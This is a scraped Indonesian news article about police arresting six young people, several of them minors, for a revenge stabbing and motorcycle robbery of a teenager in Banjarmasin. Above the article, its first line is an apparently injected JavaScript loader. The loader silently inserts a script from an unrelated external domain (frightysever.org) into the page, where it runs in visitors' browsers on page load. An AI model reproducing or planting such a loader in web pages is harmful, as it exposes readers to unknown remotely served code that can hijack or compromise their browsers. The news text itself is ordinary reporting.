(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Polisi Ungkap Motif Komplotan Anak Remaja Perampas Motor di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Kepolisian akhirnya menjelaskan duduk perkara penganiayaan serta perampasan sepeda motor milik NR (17) di Jalan Cempaka Sari IV RT 47 Kelurahan Basirih, Kecamatan Banjarmasin Barat, Kota Banjarmasin pada Minggu (25/2/2024) dini hari.

Kapolsek Banjarmasin Barat Kompol Aries Munandar melalui Kanit Reskrim Iptu Firuza Bahri menyebutkan, enam pelaku yang diamankan antara lain DF (20), MH (21), dan S (20) warga Banjarmasin yang menjadi pelaku utama dalam aksi begal komplotan itu.

Kemudian tiga pelaku lainnya masih di bawah umur MEN (16) , dan dua perempuan JEP (14) dan A (15).

“DF yang mengajak melakukan penyerangan kepada korban, S melakukan penusukan, dan MH yang membawa kabur sepeda motor korban,” ujarnya.

Dari hasil interogasi polisi, kejadian tersebut didasari atas dendam salah satu pelaku yakni DF yang mengaku pernah dipukuli oleh teman-teman korban. Sehingga DF mengajak teman-temannya untuk membalas dengan melakukan penyerangan.

“Motifnya dendam, karena sebelumnya pelaku DF mengaku dikeroyok oleh teman-teman korban,” kata Kanit Reskrim.

Dijelaskan Iptu Firuza, penyerangan dan perampasan malam itu bermula saat NR dan saksi HYF (16) berkendara menggunakan sepeda motor melewati Jalan Cempaka Sari IV RT 47 Kelurahan Basirih.

Tepat di depan langgar Darul Mutababidin, NR yang telah diikuti kawanan anak muda itu langsung diberhentikan oleh para pelaku yang berboncengan tiga.

Salah seorang pelaku kemudian bertanya dengan nada marah “Ikam kah yang melukai kawanku semalam ? (Kamu kah yang melukai teman saya kemarin ?, red). Korban menjawab “Tidak ada bang”.

Salah satu pelaku kemudian mengeluarkan pisau dan langsung menusukannya kepada NR. Penyerangan dengan piasu itu membuat lengan NR bersimbah darah akibat luka sobek.

Setelah itu NR dan temannya langsung berlari, sementara sepeda motor yang ditinggalkan di lokasi dibawa oleh para pelaku. Namun, sebelum itu salah seorang pelaku sempat berkata “Aku bawa kendaraan ikam (Kamu, red),”.

“Setelah beberapa menit korban membawa warga sekitar kembali ke lokasi, namun kendaraan korban sudah tidak ada lagi di lokasi kejadian,” kata Kanit Reskrim Polsek Banjarmasin Barat.

Pelaku yang berjumlah enam orang berhasil diamankan tim gabungan pada Senin (26/2/2024) pukul 00.30 Wita di kawasan Jalan Ir PHM Noor Kota Banjarbaru. Mereka langsung digelandang ke Mapolsek Banjarmasin Barat untuk proses lebih lanjut.

Sepeda motor Honda Beat milik NR yang dibawa para pelaku dijadikan barang bukti. Termasuk dua sepeda motor dan sebilah pisau yang digunakan untuk melakukan kejahatan. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie